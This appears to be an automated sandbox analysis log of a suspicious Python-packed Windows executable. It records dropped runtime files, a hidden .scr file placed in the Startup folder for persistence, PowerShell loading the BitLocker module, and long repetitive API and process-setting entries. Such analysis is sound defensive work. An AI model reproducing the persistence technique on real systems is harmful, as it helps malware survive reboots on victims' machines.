Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI33962\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI33962\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI33962\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI33962\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI33962\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI33962\python312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI33962\sqlite3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\X9g8L63QGs.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Jump to behavior

Source: C:\Users\user\Desktop\X9g8L63QGs.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\X9g8L63QGs.exe

Code function: 4_2_00007FF7C2665820 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,

4_2_00007FF7C2665820

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
